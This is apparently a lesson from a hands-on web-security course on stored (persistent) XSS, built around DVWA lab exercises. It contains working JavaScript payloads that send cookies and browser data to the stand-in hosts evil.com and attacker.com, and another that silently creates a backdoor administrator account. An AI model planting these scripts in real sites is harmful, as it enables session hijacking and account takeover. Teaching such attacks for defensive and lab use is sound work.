Having mastered Reflected XSS, we now turn to its more dangerous cousin: Stored XSS (also called Persistent XSS). Unlike reflected XSS, the malicious payload is saved on the server — typically in a database — and served to every user who accesses the affected page. This makes stored XSS significantly more impactful because no social engineering is required to deliver the payload.
A single stored XSS payload in a popular forum post, comment section, or user profile can compromise thousands of users automatically. This is why stored XSS consistently receives the highest severity ratings in vulnerability disclosure programs.
The attack flow has two phases. First, the attacker submits malicious input through a feature that stores data — a comment form, profile field, or message board. The server saves this input to persistent storage. Second, when any user views the page containing the stored data, the server retrieves the malicious payload and includes it in the HTML response, causing the victim's browser to execute it.
<!-- Phase 1: Attacker submits malicious comment -->
POST /comments HTTP/1.1
Content-Type: application/x-www-form-urlencoded
postId=42&author=attacker&comment=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<!-- Server stores this in the database: -->
INSERT INTO comments (post_id, author, comment) VALUES (42, 'attacker', '<script>document.location='https://evil.com/steal?c='+document.cookie</script>');
<!-- Phase 2: Victim views the page -->
GET /post?id=42 HTTP/1.1
<!-- Server retrieves and renders the comment without sanitization: -->
<div class="comment">
<span class="author">attacker</span>
<p><script>document.location='https://evil.com/steal?c='+document.cookie</script></p>
</div>
<!-- Victim's browser executes the script, sending their cookie to the attacker -->Stored XSS can appear anywhere user input is persisted and later rendered. The most common attack surfaces include:
💡 When hunting for stored XSS, think about the data lifecycle: where is input accepted, where is it stored, and where is it displayed? A field that accepts input on one page might be displayed on many different pages, each with a different injection context.
Let's exploit a stored XSS vulnerability in a blog comment system. The comment field accepts input and displays it to all visitors without sanitization.
<!-- Step 1: Identify the input vector -->
<!-- The comment form submits to /api/comments -->
<!-- Step 2: Test with a benign payload first -->
Comment: <b>bold text</b>
<!-- If the text renders as bold, HTML is not being sanitized -->
<!-- Step 3: Test with a script payload -->
Comment: <script>alert('stored-xss')</script>
<!-- If the alert fires on page reload, we have stored XSS -->
<!-- Step 4: Weaponize - Session hijacking payload -->
<script>
(function() {
var data = {
cookie: document.cookie,
url: window.location.href,
referrer: document.referrer,
userAgent: navigator.userAgent,
timestamp: new Date().toISOString()
};
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/collect', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify(data));
})();
</script>One of the most dangerous stored XSS scenarios involves payloads that target administrative users. If an attacker can inject a payload that is displayed in an admin panel, they can perform actions with admin privileges — creating new admin users, modifying application settings, or accessing sensitive data.
// Payload designed to create a new admin user when viewed by an admin
// This assumes the admin panel has a user creation API endpoint
<script>
fetch('/api/admin/users', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
username: 'backdoor_admin',
password: 'P@ssw0rd123!',
role: 'administrator',
email: 'attacker@evil.com'
})
}).then(r => r.json())
.then(d => {
// Notify attacker that admin user was created
fetch('https://attacker.com/notify?status=success&user=backdoor_admin');
});
</script>⚠️ The payload above is for educational purposes in authorized lab environments only. Creating unauthorized backdoor accounts is illegal and unethical. Always operate within the scope of your penetration testing agreement or in dedicated practice environments.
| Characteristic | Reflected XSS | Stored XSS |
|---|---|---|
| Payload Persistence | Not stored — exists only in the request/response | Persisted on server — in database or file |
| Delivery Mechanism | Requires social engineering (crafted URL) | Automatic — executes when page is viewed |
| Victims | Only users who click the crafted link | All users who view the affected page |
| Detection Difficulty | Easier to detect (payload in URL) | Harder to detect (payload in database) |
| Severity | Medium | High to Critical |
| Remediation Complexity | Moderate — encode output at reflection point | High — must sanitize at input AND encode at output |
In your DVWA lab environment, navigate to the 'XSS (Stored)' module. Set the security level to 'Low' and practice the following workflow.
Notice how the stored XSS payload executed automatically when you reloaded the page — no crafted URL needed. This is what makes stored XSS so dangerous in real-world applications.
You now understand both Reflected and Stored XSS. In the next lesson, we will explore the most subtle and often overlooked variant: DOM-based XSS, where the vulnerability exists entirely in client-side JavaScript code.
Verify exercises to earn ★ 150 XP and unlock next lab level.